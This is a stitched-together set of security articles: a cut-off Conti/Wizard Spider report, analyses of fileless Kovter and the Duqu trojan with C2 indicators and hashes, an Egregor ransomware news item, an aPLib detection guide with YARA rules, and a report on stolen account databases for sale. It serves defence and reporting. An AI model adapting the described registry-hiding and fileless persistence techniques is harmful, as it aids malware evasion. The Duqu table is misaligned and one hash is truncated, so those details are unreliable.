“We want to create our own cryptosystem such as Ethereum, Polkadot, and Binance Smart Chain,” Stern said to their team members on June 28, 2021. “We need to study the principles, code, and other things to be able to build on. And then, we will be able to integrate NFT, DeFi, DEX, and all the existing and upcoming trends,” they added.
“Do we think that any of us are gurus of Blockchain and trends? Anyone has any idea the direction we can take to develop it?” Stern continued on July 8, 2021. Stern’s crypto aspirations were met with less enthusiasm from other threat actors such as Mango: “This is a great idea, but very complicated at the same time. Let’s be realistic, we can’t handle it on our own with so little experience and resources.”
Despite the fact that the Blockchain project still has not been developed, the threat actors’ interest in expanding into the cryptocurrency and the DeFi space does raise significant concern. Based on the chats, the overall goal for Wizard Spider is to create a threat actor-friendly blockchain product. TRM assesses with a high level of confidence that would provide an additional stream of revenue as well as an internally controlled payment environment for the cybercrime underground.
## Wizard Spider Likely to Remain a Threat
TRM assesses that Wizard Spider will continue to be a significant threat despite recent setbacks, notably the phasing out of their long-used TrickBot tool at the beginning of February due to its high detection followed by the leak of internal Conti’s information. Wizard Spider quickly resumed their operations, posting its first victim on March 2, 2022, on their extortion site. As of March 23, 2022, the syndicate published 41 victims in total with 22 of them being US entities. These victims are likely to have been breached by Wizard Spider before the leak and it is unclear if the syndicate was able to obtain access to any new victims since then.
Based on tracking the continued level of activity and messages posted by Wizard Spider, TRM analysts assess that the group is likely to fully restore their operational capacity in the near future and will continue to run their operations under the same name and not rebrand. Unlike several other major ransomware operations, which have stated publicly and on the dark web that they do not target critical infrastructure, Conti/Ryuk has continued to target the healthcare system even during the COVID-19 pandemic as noted in the Health & Human Services report “Conti Ransomware and the Health Sector.”
Proprietary source reporting has indicated that several other ransomware groups have struggled to keep up with all of the entities they have gained access to or to develop an effective pipeline of accesses, due to a lack of employees such as programmers, negotiators, and others. Conti’s focus on hiring can be seen as evidence of Conti’s efforts to be able to run their operation on an industrial scale, bringing things like gaining access and distribution of the malware in-house, allowing them to net hundreds of millions in victim payments over the years.
Conti’s hiring process consists of the interview and test assignment to measure the candidate’s skills level. In order to attract new employees, “Salamandra”, the threat actor in charge of the group’s HR, utilizes many available resources, from dark web forums to the Russian commercial job posting site hh.ru.
Based on the chats, the average salary for threat actors is nearly $2,000 USD a month. While that salary is nearly two times higher than the average salary in the IT industry in Russia, the compensation can seem low when compared to the millions of dollars in payments that Wizard Spider received from its victims. The ability to spend a relatively small percentage of their income on salaries may be one of the reasons the core members of Wizard Spider preferred to work with full-time employees as opposed to the profit-sharing ransomware-as-a-service that most other ransomware groups currently prefer.
## Outlook
TRM is monitoring the discussion of the leaked chats on the dark web to get a sense of the opinions of other threat actors about the arrangement. In the past, programmers on the dark web have leaked the source code for malware in retaliation when they felt that they had not been paid a sufficient percentage of the profit it generated.
The research done by TRM analysts demonstrates how critical tracking the flow of funds can be in understanding the operation of cybercriminal organizations. Although cryptocurrency has made it possible for ransomware to run successful operations for years and provides a high level of return on investment for threat actors’ efforts, TRM's blockchain analytical tool allows investigations to follow the flow of funds and uncover valuable intelligence that helps to connect the dots. TRM continues to monitor Wizard Spider’s activity both on and off-chain to help mitigate the risk posed by Conti ransomware.
Considering Wizard Spider’s statement on supporting the Russian State and sharing its political agenda, and their past willingness to target critical infrastructure, the syndicate might also pose a risk to national security due to its level of sophistication.
## About TRM Labs
TRM provides blockchain intelligence to help financial institutions, cryptocurrency businesses, and public agencies detect, investigate, and manage crypto-related fraud and financial crime. TRM's risk management platform includes solutions for transaction monitoring and wallet screening, entity risk scoring, and source and destination of funds tracing. These tools enable a rapidly growing cohort of organizations around the world to safely embrace cryptocurrency-related transactions, products, and partnerships.
TRM is based in San Francisco, CA, and is hiring across engineering, product, sales, and data science. To learn more, visit www.trmlabs.com.
To report a lead to Global Investigations, email us at [email protected].
|
# Endpoint Protection
Poweliks made headlines in 2014 as the first persistent, fileless, registry-based malware. This technique had not been seen before Poweliks (Trojan.Poweliks) arrived, but it was only a matter of time until other malware authors adopted it. A variant of Kovter (Trojan.Kotver), first seen in May 2015, looks to be one of the first to incorporate techniques from Poweliks in order to evade detection and remain persistent on the compromised computer.
When the new Kovter variant compromises a computer, the Trojan has the ability to reside only in the registry and not maintain a presence on disk. It accomplishes this by using registry tricks in an attempt to evade detection. The threat is also memory resident and uses the registry as a persistence mechanism to ensure it is loaded into memory when the infected computer starts up.
The Kovter malware family has been around since at least 2013 and has evolved over time. The threat rose to prominence in 2013 and 2014 thanks to its association with traditional ransomware (Trojan.Ransomlock.AK) which locks a victim’s computer screen and displays a message demanding a fine for illegal activity. However, Kovter itself is known to perform click-fraud activities.
## A fileless threat
Similar to Poweliks, Kovter (version 2.0.3 onwards) has memory-resident, fileless capabilities and uses several techniques to persist in the registry. During initial infection, Kovter checks to see if PowerShell is already installed on the compromised computer. If PowerShell is not found on the computer and internet access is available, then the Trojan downloads a version of the framework. If no internet access is available at the time of infection, then Kovter reverts to being a more traditional file-based malware.
In a fileless infection, Kovter adds a value to one or more of the registry run keys to execute JavaScript using the legitimate MSHTA program.
Once executed, this JavaScript runs another layer of JavaScript from a different Kovter registry entry. This second JavaScript decodes and executes a malicious Kovter PowerShell script stored within the same JavaScript.
The PowerShell script then executes shellcode that decrypts and loads the main Kovter module into memory from a registry entry. After a fileless infection, Kovter then deletes the initial file infector from disk. A similar technique was implemented by Poweliks.
## Protecting the registry entry
Similar to Poweliks, Kovter attempts to protect its registry entries by using a value name that starts with a null or 0 byte character followed by a string of hexadecimal characters (such as "\x007a865e5da" where "\x00" is the null character). The null character makes it difficult to view the run key values using tools such as Regedit, as they expect registry values to use printable characters.
## Distribution
Similar to other common threat actors, the attackers behind Kovter have opted for an affiliate business model to push their threat onto victims’ computers. This has led to the Trojan’s distribution method changing over time. Lately, these methods have included malvertisment campaigns targeting adult content websites and news sites. The following exploit kits have reportedly been used to spread the Kovter malware through these attacks:
- Fiesta
- Angler
- Nuclear
- Neutrino
- Sweet Orange
More recently, Kovter has been one of many threats included in a spam campaign’s malicious file attachments. These attachments arrive in various forms, such as .zip files containing malicious JavaScript or .scr files. If the files are executed, then they download Kovter and other malware onto the spam recipient’s computer.
## Prevalence
While there are no indications to suggest that Kovter is targeting specific regions, Symantec’s telemetry clearly shows that the US is the most affected region. Other impacted areas include the UK, Canada, Germany, Australia, and Japan.
## Conclusion
It was inevitable that other malware authors would implement the techniques used by Poweliks. With these updates, Kovter’s association with ransomware no longer aligned with its stealthy, persistent nature. This has led Kovter to continue its click-fraud activities, allowing the attackers to take advantage of Trojan’s stealth capabilities and potential longevity of infection. However, if the malware authors feel that this business model is not profitable enough, then they are still in a position to hold infected computers to ransom. The Kovter malware family has continually evolved since it was first discovered and shows no signs of leaving the threat landscape anytime soon.
## Removal tool
If you believe you have been affected by Kovter or if an intrusion protection signature related to the threat has triggered on your computer, then you should run the following removal tool:
- Trojan.Kotver Removal Tool
Symantec and Norton products detect Kovter samples through the following detections:
- Antivirus detections
- Heuristic detections
- Reputation detections
- Intrusion protection signatures
Symantec and Norton customers that use the Symantec.Cloud service are also protected from the spam messages which distribute this malware.
|
# Retail giant Cencosud hit by Egregor Ransomware attack, stores impacted
By Lawrence Abrams
November 14, 2020
Chilean-based multinational retail company Cencosud has suffered a cyberattack by the Egregor ransomware operation that impacts services at stores. Cencosud is one of the largest retail companies in Latin America, with over 140,000 employees and $15 billion in revenue for 2019. Cencosud manages a wide variety of stores in Argentina, Brazil, Chile, Colombia, and Peru, including Easy home goods, Jumbo supermarkets, and the Paris department stores.
This weekend, Cencosud was hit with a ransomware attack that encrypted devices throughout their retail outlets and impacted the company's operations. According to Argentinian publisher Clarín, retail stores are still open, but some services are impacted. For example, an Easy store in Buenos Aires is displaying a sign warning customers that they are not accepting the 'Cencosud Card' credit card, accepting returns, or allowing the pickup of web purchases due to technical problems.
## Egregor behind ransomware attack
After learning of the attack, BleepingComputer obtained the ransom note and can confirm it was conducted by Egregor and targeted the 'Cencosud' Windows domain. Egregor is a ransomware-as-a-service operation that began operating in the middle of September, just as another ransomware group known as Maze started shutting down their operation. BleepingComputer has learned from threat actors that many hackers who partnered with Maze are now working with Egregor.
Clarín also reported that printers in numerous retail outlets in Chile and Argentina, such as Easy home goods stores, began printing out ransom notes as devices are encrypted. This function is a known "feature" of the Egregor ransomware software, which will automatically print ransom notes to attached printers after the files on a device have been encrypted. For network-wide attacks, this could potentially lead to thousands of ransom notes being printed throughout the organization.
The ransom note does not provide links to proof of stolen data, but Egregor has a history of stealing unencrypted files before deploying their ransomware. Egregor has been responsible for other high-profile attacks on Crytek, Ubisoft, and Barnes and Noble.
BleepingComputer has contacted Cencosud with further questions but has not heard back.
|
# Duqu Trojan Questions and Answers
The Dell SecureWorks Counter Threat Unit (CTU) research team has been analyzing an emerging malware threat identified as the Duqu trojan. This Trojan horse has received a great deal of attention because it is similar to the infamous Stuxnet worm of 2010. This report includes answers to questions about this threat. CTU researchers have put countermeasures in place to detect Duqu C2 traffic and continue to monitor for new Duqu samples and update protections as needed.
## What is Duqu?
The Duqu trojan is composed of several malicious files that work together for a malicious purpose. The first component is a Windows kernel driver that searches for and loads encrypted dynamic link library (DLL) files. The decrypted DLL files implement the main payload of Duqu, which is a remote access trojan (RAT). The RAT allows an adversary to gather information from a compromised computer and to download and run additional programs.
In addition to the RAT, another piece of malware was recovered with Duqu in one instance. This malware is an information stealer designed to log user keystrokes and other information about the infected system. This piece of malware is believed to be related due to programming similarities with the main Duqu executables.
## What is the relationship to Stuxnet?
There has been much speculation that Duqu is a new version of Stuxnet or that it was written by the same authors. There are several factors that could influence these speculations:
- Duqu and Stuxnet both use a kernel driver to decrypt and load encrypted DLL (Dynamic Load Library) files. The kernel drivers serve as an "injection" engine to load these DLLs into a specific process. This technique is not unique to either Duqu or Stuxnet and has been observed in other unrelated threats.
- Encrypted DLL files are stored using the .PNF extension. This is normally the extension Microsoft Windows uses for precompiled setup information files. The commonality exists due to the kernel driver implementation being similar.
- The kernel drivers for both Stuxnet and Duqu use many similar techniques for encryption and stealth, such as a rootkit for hiding files. Again, these techniques are not unique to either Duqu or Stuxnet and have been observed in other unrelated threats.
- Both Stuxnet and Duqu have variants where the kernel driver file is digitally signed using a software signing certificate. One variant of the Duqu kernel driver was signed by a certificate from C-Media Electronics Incorporation. An unsigned Duqu kernel driver claimed to be a driver from the JMicron Technology Company, which was the same company whose software signing certificate was used to sign one of the Stuxnet kernel driver files. The commonality of a software signing certificate is insufficient evidence to conclude the samples are related because compromised signing certificates can be obtained from a number of sources. One would have to prove the sources are common to draw a definitive conclusion.
| Attribute | Duqu | Stuxnet |
|------------------------------------|-------------------------------|-------------------------------|
| Infection Methods | Unknown | USB (Universal Serial Bus) |
| | | PDF (Portable Document Format)|
| Dropper Characteristics | Installs signed kernel drivers | Installs signed kernel drivers |
| | to decrypt and load DLL files | to decrypt and load DLL files |
| Zero-days used | None yet identified | Four |
| Command and Control | HTTP, HTTPS, Custom | HTTP |
| | | P2P (Peer to Peer) using RPCs |
| Self propagation | None yet identified | (Remote Procedure Call) |
| | | Network Shares |
| | | WinCC Databases (Siemens) |
| Data exfiltration | Add-on, keystroke logger for | Built-in, used for versioning |
| | user and system info stealing | and updates of the malware |
| | Uninstalls self after 36 days| Hard coded, must be in the following range: 19790509 => 20120624 |
| Interaction with control systems | None | Highly sophisticated interaction with Siemens SCADA control systems |
Both Duqu and Stuxnet are highly complex programs with multiple components. All of the similarities from a software point of view are in the "injection" component implemented by the kernel driver. The ultimate payloads of Duqu and Stuxnet are significantly different and unrelated. One could speculate the injection components share a common source, but supporting evidence is circumstantial at best and insufficient to confirm a direct relationship. The facts observed through software analysis are inconclusive at publication time in terms of proving a direct relationship between Duqu and Stuxnet at any other level.
## Does Duqu target industrial control systems?
Unlike Stuxnet, Duqu does not contain specific code that pertains to supervisory control and data acquisition (SCADA) components such as programmable logic controllers (PLCs). Duqu's primary purpose is to provide an attacker with remote access to a compromised computer, including the ability to run arbitrary programs. It can theoretically be used to target any organization.
## Is there any evidence in the code indicating specific targets?
Duqu facilitates an adversary's ability to gather intelligence from an infected computer and the network. CTU malware analysts have not identified any specific market segments, technologies, organizations, or countries that are targeted by the Duqu malware.
## What are indicators of a Duqu infection?
The Duqu trojan attempts to use the network to communicate with a remote command and control (C2) server to receive instructions and to exfiltrate data. Analysis of Duqu revealed that it uses the 206.183.111.97 IP address as its C2 server. This IP address is located in India and has been shut down by the hosting provider. Also, Duqu may attempt to resolve the kasperskychk.dyndns.org domain name. The resulting IP address is not used for communications, so this lookup may serve as a simple Internet connectivity check. Administrators should monitor their network for systems attempting to resolve this domain or connect to the C2 IP address for possible infection.
Duqu uses multiple protocols to communicate with its C2 server, including standard HTTP on TCP port 80 and a custom protocol on TCP port 443. Some of Duqu's communications that use TCP port 443 do not use the HTTPS protocol. Organizations may be able to monitor egress traffic through proxy servers or web gateways and investigate network traffic that does not conform to the SSL (Secure Sockets Layer) specification. Non-SSL traffic on port 443 is commonly observed with other threats, and this behavior is not exclusive to Duqu.
The CTU research team is aware of the following files that may be installed by the Duqu trojan. The byproducts in the table below have been collected from multiple Duqu variants and would not be present on a single infected computer.
| Name | File Size | MD5 |
|--------------------------|-----------------|---------------------------------------|
| jminet7.sys | 24,960 bytes | 0eecd17c6c215b358b7b872b74bfd800 |
| netp191.pnf | 232,448 bytes | b4ac366e24204d821376653279cbad86 |
| netp192.pnf | 6,750 bytes | 94c4ef91dfcd0c53a96fdc387f9f9c35 |
| cmi4432.sys | 29,568 bytes | 4541e850a228eb69fd0e924624b245 |
| cmi4432.pnf | 192,512 bytes | 0a566b1616c8afeef214372b1a0580c7 |
| cmi4464.pnf | 6,750 bytes | e8d6b4dadb96ddb58775e6c85b10b6cc |
| <unknown> | 85,504 bytes | 9749d38ae9b9ddd81b50aad679ee87ec |
| nfred965.sys | 24,960 bytes | c9a31ea148232b201fe7cb7db5c75f5e |
| nred961.sys | unknown | f60968908f03372d586e71d87fe795cd |
| adpu321.sys | 24,960 bytes | 3d83b077d32c422d6c7016b5083b9fc2 |
| iaStor451.sys | 24,960 bytes | bdb562994724a35a1ec5b9e85b8e054f |
The name "Duqu" was assigned to this malware because the keylogger program creates temporary files that begin with the prefix "~DQ". A computer infected with Duqu may have files beginning with "~DQ" in Windows temporary directories.
## How do Duqu infections occur?
The mechanism by which Duqu infections occur is unknown. Current analysis of Duqu has not revealed any ability to infect additional systems like the Stuxnet worm could. In addition, all of the Duqu files CTU researchers have analyzed would likely have been installed by an initial installer or "dropper" malware. None of the original installers have been recovered. The recovery of one of these installers may help provide clues to how Duqu infections occurred.
## Is Duqu an advanced persistent threat (APT)?
Dell SecureWorks does not identify individual tools as APT. APT is a threat actor or actors targeting an organization for assets of interest. An APT involves planning by the adversary, teams with specialized roles, multiple tools, patience, and persistence. While Duqu does provide capabilities used by other tools observed in APT-related intrusions, an assessment of the particular threat requires knowledge of the adversary, targeted organization and assets, and the scope of attacks.
## Is antivirus and antimalware protection sufficient for detecting Duqu?
Since its discovery, security vendors have worked to improve their ability to detect Duqu. However, the author may simply release newer variants that are no longer detected by antivirus and antimalware products.
## What can I do to protect my organization from Duqu?
- Administrators should use host-based protection measures, including antivirus and antimalware, as part of a holistic security process that includes network-based monitoring and controls, network segmentation and policies, user access, and controls to help mitigate the threat of malware like Duqu.
- A computer infected with Duqu may have files beginning with "~DQ" in Windows temporary directories.
- Organizations may want to monitor egress traffic through proxy servers or web gateways and investigate network traffic that does not conform to the SSL (Secure Sockets Layer) specification. Non-SSL traffic on port 443 is commonly observed with other threats, and this behavior is not exclusive to Duqu.
- Administrators should monitor their network for systems attempting to resolve Duqu-related domains or connect to Duqu C2 IP addresses for possible infection.
|
# The Malware Analyst’s Guide to aPLib Decompression
aPLib is a compression library that is very easy to use and integrate with C/C++ projects. It is a pure LZ-based compression library. There is also an executable packer based on it called aPACK. Due to its ease of use and tiny footprint, it’s a very popular library utilized by many malware families like ISFB/Ursnif, Rovnix, and many more. Knowledge about aPLib detection and aPLib decompression is crucial for every malware analyst. This blog post dives into many internals of aPLib, explains how to detect aPLib compression with your bare eyes as well as YARA, and finally shows you how to decompress aPLib compressed blobs with several tools.
## aPLib v1.1.1 Internals
aPLib is a library implementing the compression algorithm found in the executable compressor aPACK. It is a pure LZ compression implementation. The library aPLib is known for its fast decompression speed and tiny footprint of the decompression code. As of writing, the current version is v1.1.1.
The objective of this section is not to explain how the actual compression algorithm at aPLib’s core works, but rather to give a quick overview of the library itself (project structure, relevant functions, relevant structs). Since you’ll likely encounter aPLib decompression during malware analysis, I’ll focus on the decompression portion of aPLib in the following. Nevertheless, this blog post should also be valuable for those who look into aPLib compression.
### The aPLib Library
The library can be found at the author’s website. It comprises a lot of valuable information. First and foremost, there is the source code for decompression (but not compression!):
```
└── src
├── 32bit
│ ├── crc32.asm
│ ├── depack.asm
│ ├── depackf.asm
│ ├── depacks.asm
│ ├── scheck.asm
│ ├── sdepack.asm
│ ├── sgetsize.asm
│ └── spack.asm
├── 64bit
│ ├── crc32.asm
│ ├── depack.asm
│ ├── depackf.asm
│ ├── depacks.asm
│ ├── scheck.asm
│ ├── sdepack.asm
│ ├── sgetsize.asm
│ └── spack.asm
├── depack.c
├── depack.h
├── depacks.c
└── depacks.h
```
Second, there is some additional user documentation (html and chm). Third, there are libraries to statically or dynamically link against. Several platforms are supported including Windows:
```
├── lib
│ ├── dll
│ │ ├── aplib.dll
│ │ ├── aplib.h
│ │ └── aplib.lib
│ ├── dll64
│ │ ├── aplib.dll
│ │ ├── aplib.h
│ │ └── aplib.lib
```
The library offers several decompression functions that fall into three classes:
- `aP_depack`, `aP_depack_asm`, and `aP_depack_asm_fast` assume valid input data and may crash if the input is invalid.
- `aP_depack_safe` and `aP_depack_asm_safe` catch decompression errors and do not crash on invalid input data.
- `aPsafe_depack` is a function wrapper adding a header to the compressed data.
At their core, they all utilize the LZ-based compression algorithm. In the following sections, I’ll have a look at each of the three classes.
### aP_depack*
The decompression function `aP_depack` decompresses a compressed binary blob. The counterpart of `aP_depack_safe` is the function `aPsafe_pack`. The following function signature is defined in `depack.h`:
```c
unsigned int aP_depack(const void *source, void *destination);
```
The functions of this class assume that the compressed data is valid. This saves some sanity checks, which in turn results in faster decompression and a smaller footprint of the decompression code. However, it is likely that they crash if an error is encountered.
### aP_depack_safe*
The functions of this class solely add additional sanity checks. If they encounter an error condition, they return `APLIB_ERROR` (defined as `0xFFFFFFFF`). Furthermore, they require the length of the input (compressed data) and the size of the output (decompressed data) as seen in the signature of the `aP_depack_safe` function:
```c
unsigned int aP_depack_safe(const void *source,
unsigned int srclen,
void *destination,
unsigned int dstlen);
```
Otherwise, they are equivalent to the functions from the `aP_depack*` class.
### aPsafe_depack
The decompression function `aPsafe_depack` decompresses a compressed binary blob safely. It is a wrapper around the functions of the class. The counterpart of `aPsafe_depack` is the function `aPsafe_pack`. The function signature of `aPsafe_depack` resembles the signature of `aP_depack_safe`:
```c
unsigned int aPsafe_depack(const void *source,
unsigned int srclen,
void *destination,
unsigned int dstlen);
```
`aPsafe_depack` requires that the compressed blob starts with a header. This header comprises additional information regarding the blob. This is very useful if we want to send an aPLib compressed blob over the network. The header structure looks like the following struct:
```c
struct aPLib_header {
DWORD tag;
DWORD header_size;
DWORD packed_size;
DWORD packed_crc;
DWORD orig_size;
DWORD orig_crc;
};
```
The struct `aPLib_header` has a size of 24 bytes. This holds on x86 and x64 systems. But there are several checks in the library that ensure that the `header_size` is at least 24 bytes.
### Detect if a Binary Statically Links Against aPLib
Detecting if a binary comprises the capability of aPLib compression/decompression is straightforward in the case it dynamically links against aPLib and it comprises a valid IAT (Import Address Table). However, in the case of custom/malicious binaries, it typically statically links against aPLib.
There are many ways to detect this. First, we’ve already seen constants like `AP32` (0x32335041), which we could leverage to detect aPLib. But there are also several strings present that refer to aPLib itself or its author (Jørgen Ibsen):
- “aPLib v1.1.1 – the smaller the better :)”
- “Copyright (c) 1998-2014 Joergen Ibsen, All Rights Reserved.”
Another way would be detection via matching the assembly code. Tools like mkYARA can help you to generate (strict/relaxed) YARA rules for assembly functions/algorithms.
### Detect aPLib Compression with Your Bare Eyes and YARA
#### aPLib Header
If the compressed blob is safely packed, then it is quite easy to find them within larger blobs. All we need to do is look for the aPLib magic `AP32` and the default header size of `0x18`:
This boils down to searching for the byte sequence `0x4150333218000000`. We can write a quick and dirty YARA signature:
```yara
rule aplib_compressed_blob_with_header {
meta:
author = "Thomas Barabosch"
version = "20200109"
description = "Detects aPLib compressed blobs that comprise an aPLib header."
strings:
$aplib_compressed_with_header = { 41 50 33 32 18 00 00 00 }
condition:
$aplib_compressed_with_header
}
```
#### Compressed PE Executables Without aPLib Header
However, as a malware analyst, you will stumble upon aPLib compressed blobs that do not comprise an aPLib header very frequently. The good news is that the trained eye can easily spot aPLib compressed PE files. These blobs of compressed PE files do not start with the classic `MZ` magic but with `M8Z`:
Once you know that `M8Z` means aPLib compression, it makes sense to write a small YARA signature to detect this in the future. Here I assume that we dumped a blob from, for instance, the heap, and the magic is at the beginning of the file:
```yara
rule aplib_compressed_pe {
meta:
author = "Thomas Barabosch"
version = "20201226"
description = "Detects aPLib compressed PE files, e.g. from memory dumps."
strings:
$mz_compressed = "M8Z"
condition:
$mz_compressed at 0
}
```
#### Compressed ELF Executables Without aPLib Header
Furthermore, I compressed a couple of ELF x64 files with aPACK. If we byte-compare the output of two compressed files, we will see the following:
Both compressed blobs start with the same `AP32` magic and the default header size of `0x18`. The next four DWORDs are the `packed_size`, `packed_crc`, `orig_size`, and `orig_crc` are completely different. But then there are 10 bytes that are equal: `0x7F07454C4602011E1501`. These bytes include the ELF magic `ELF`, which is not at the beginning but does not get disfigured like the PE magic `MZ` to `M8Z`.
Again, we can write a YARA rule for this:
```yara
rule aplib_compressed_elf_executable {
meta:
author = "Thomas Barabosch"
version = "20200109"
description = "Detects aPLib compressed ELF executables. Note that there may be a aPLib header starting 24 bytes BEFORE the match!"
strings:
$aplib_compressed_elf = { 7F 07 45 4C 46 02 01 1E }
condition:
$aplib_compressed_elf
}
```
### aPLib Decompression
Finally, we’ve learned so much about aPLib compression, how to spot it with our bare eyes and detect it with YARA. But there is one final piece missing: we need to talk about aPLib decompression. The following sections show you how to achieve aPLib decompression with three different tools.
#### aPLib Decompression with aPACK
Before looking at more complex scenarios, we can always resort to the tools that come with aPLib. The library comes with an example tool called `apack`. The source of this tool is stored under `examples/appack.c` and there are several make files for various platforms. `apack` offers two commands `c` and `d`:
```
appack, aPLib compression library example
Copyright 1998-2014 Joergen Ibsen (www.ibsensoftware.com)
Syntax:
Compress : appack c <file> <packed_file>
Decompress : appack d <packed_file> <depacked_file>
```
For instance, we can decompress an aPLib compressed blob with the `d` command as in the following snippet illustrated:
```
> appack d bin_ls.bin bin_ls
appack, aPLib compression library example
Copyright 1998-2014 Joergen Ibsen (www.ibsensoftware.com)
Decompressed 66101 -> 151352 bytes in 0.01 seconds
```
That’s it, pretty simple. But this is not suitable for more complex scenarios, e.g. automation. Here, we have two options. First, we can use the aPLib library itself and write C programs. Second, we can automate aPLib decompression using Python.
#### aPLib Decompression with Malduck
Lately, I utilize Malduck a lot. So, let’s see how we can decompress an aPLib compressed blob with it. We can decompress these files with the following script based on Malduck:
```python
import malduck
import sys
def main(argv):
if len(argv) != 2:
print('Usage: aplib.py PATH_TO_APLIB_COMPRESSED_BUFFER')
with open(argv[1], 'rb') as f:
data = f.read()
try:
res = malduck.aplib(data)
if res:
with open(argv[1] + '_aplib_decompressed', 'wb') as g:
g.write(res)
else:
print(f'Malduck did not decompress the buffer.')
except Exception as e:
print(f'Could not aplib decompress: {e}')
if __name__ == '__main__':
main(sys.argv)
```
The function `malduck.aplib` may take a flag called `headerless`. This flag forces headerless compression and does not check for the `AP32` magic. It defaults to `True`. Even though this script seems trivial, it is a perfect skeleton for more complex tasks that resolve around aPLib compression.
#### aPLib Decompression with aplib-ripper
Another great tool is aplib-ripper by herrcore. It rips one or several aPLib compressed PE executables from a blob. It searches for the string `M8Z`, forces a headerless decompression, and finally verifies and trims the output with pefile.
|
# 620 Million Accounts Stolen from 16 Hacked Websites Now for Sale on Dark Web
Some 617 million online account details stolen from 16 hacked websites are on sale from today on the dark web, according to the data trove's seller. For less than $20,000 in Bitcoin, the following pilfered account databases can be purchased from the Dream Market cyber-souk, located in the Tor network:
- **Dubsmash** (162 million)
- **MyFitnessPal** (151 million)
- **MyHeritage** (92 million)
- **ShareThis** (41 million)
- **HauteLook** (28 million)
- **Animoto** (25 million)
- **EyeEm** (22 million)
- **8fit** (20 million)
- **Whitepages** (18 million)
- **Fotolog** (16 million)
- **500px** (15 million)
- **Armor Games** (11 million)
- **BookMate** (8 million)
- **CoffeeMeetsBagel** (6 million)
- **Artsy** (1 million)
- **DataCamp** (700,000)
Sample account records from the multi-gigabyte databases appear to be legit: they consist mainly of account holder names, email addresses, and passwords. These passwords are hashed, or one-way encrypted, and must therefore be cracked before they can be used. There are a few other bits of information, depending on the site, such as location, personal details, and social media authentication tokens. There appears to be no payment or bank card details in the sales listings.
## Who are the Buyers?
These silos of purportedly purloined information are aimed at spammers and credential stuffers, which is why copies are relatively cheap to buy. The stuffers will take usernames and passwords leaked from one site to log into accounts on other websites where the users have used the same credentials.
For example, someone buying the purported 500px database could decode the weaker passwords in the list, because some were hashed using the obsolete MD5 algorithm, and then try to use the email address and cracked password combinations to log into, say, strangers' Gmail or Facebook accounts, where the email address and passwords have been reused.
All of the databases are being touted separately by one hacker, who claims to have exploited security vulnerabilities within web apps to gain remote-code execution and then extract user account data. The records were swiped mostly during 2018 and went on sale this week. The seller, believed to be located outside of the US, told us the Dubsmash data has been purchased by at least one person.
Some of the websites – particularly MyHeritage, MyFitnessPal, and Animoto – were known to have been hacked as they warned their customers last year that they had been compromised, whereas the others are seemingly newly disclosed security breaches. This also marks the first time this data, for all of the listed sites, has been peddled publicly, if all the seller's claims are true.
## Is This Legit?
A spokesperson for MyHeritage confirmed samples from its now-for-sale database are real and were taken from its servers in October 2017, a cyber-break-in it disclosed in 2018. ShareThis, CoffeeMeetsBagel, 8fit, 500px, DataCamp, and EyeEm also confirmed their account data was stolen from their servers and put up for sale this week in the seller's collection. This lends further credibility to the data trove.
Last week, half a dozen of the aforementioned sites were listed on Dream Market by the seller. When we spotted them, we alerted Dubsmash, Animoto, EyeEm, 8fit, Fotolog, and 500px that their account data was potentially being touted on the dark web. Over the weekend, the underground bazaar was mostly knocked offline, apparently by a distributed denial-of-service attack. On Monday this week, the underworld marketplace returned to full strength, and the seller added the rest of the sites.
### Summary of Data for Sale
- **Dubsmash**: 161,549,210 accounts for 0.549 BTC ($1,976) total
- 11GB of data taken in December 2018. Each account record contains the user ID, SHA256-hashed password, username, email address, language, country, plus for some, but not all the users, the first and last name.
- **500px**: 14,870,304 accounts for 0.217 BTC ($780) total
- 1.5GB of data taken July 2018. Each account record contains the username, email address, MD5-, SHA512- or bcrypt-hashed password, hash salt, first and last name, and if provided, birthday, gender, and city and country.
- **EyeEm**: 22,360,765 accounts for 0.289 BTC ($1,040) total
- 1.7GB of data taken February 2018. Each account record contains an email address and SHA1-hashed password, although about three million are missing an email address.
- **8fit**: 20,180,667 accounts for 0.2025 BTC ($728) total
- 1.9GB of data taken July 2018. Each account record contains an email address, bcrypted-hashed password, country, country code, Facebook authentication token, Facebook profile picture, name, gender, and IP address.
- **Fotolog**: 16 million accounts for 0.52 BTC ($1,872) total
- 5.9GB of data taken in December 2018. There are five SQL databases containing information including email addresses, SHA256-hashed passwords, security questions and answers, full names, locations, interests, and other profile information.
- **Animoto**: 25,402,283 accounts for 0.318 BTC ($1,144) total
- 2.1GB of data taken in 2018. Each account record contains a user ID, SHA256-hashed password, password salt, email address, country, first and last name, and date of birth.
- **MyHeritage**: 92,284,478 accounts for 0.549 BTC ($1,976) total
- 3.6GB of data taken October 2017. Each account record contains an email address, SHA1-hashed password and salt, plus the date of account creation.
- **MyFitnessPal**: 150,633,038 accounts for 0.289 BTC ($1,040) total
- 3.5GB of data taken February 2018. Each account record contains a user ID, username, email address, SHA1-hashed password with a fixed salt for the whole table, and IP address.
- **Artsy**: 1,070,000 accounts for 0.0289 BTC ($104) total
- 184MB of data taken April 2018. Each account record contains an email address, name, IP addresses, location, and SHA512-hashed password with salt.
- **Armor Games**: 11,013,617 accounts for 0.2749 BTC ($988) total
- 1.8GB of data taken late December 2018. Each account record contains a username, email address, SHA1-hashed password and salt, date of birth, gender, location, and other profile details.
- **Bookmate**: 8,026,992 accounts for 0.159 BTC ($572) total
- 1.7GB of data taken July 2018. Each account record typically contains a username, an email address, SHA512 or bcrypt-hashed password with salt, gender, date of birth, and other profile details.
- **CoffeeMeetsBagel**: 6,174,513 accounts for 0.13 BTC ($468) total
- 673MB of data taken late 2017 and mid-2018. Each account record typically contains a full name, email address, age, registration date, and gender.
- **DataCamp**: 700,000 accounts for 0.013 BTC ($46.8) total
- 82MB of data taken December 2018. Each account record contains an email address, bcrypt-hashed password, location, and other profile details.
- **HauteLook**: 28 million accounts for 0.217 BTC ($780) total
- 1.5GB of data taken during 2018. Each account record contains an email address, bcrypt-hashed password, and name.
- **ShareThis**: 41,028,098 accounts for 0.217 BTC ($780) total
- 2.7GB of data taken early July 2018. Each account record contains a name, username, email address, DES-hashed password, gender, date of birth, and other profile info.
- **Whitepages**: 17,775,679 accounts for 0.434 BTC ($1560) total
- 2.9GB of data taken 2016. Each account record contains an email address, SHA1- or bcrypt-hashed password, and first and last name.
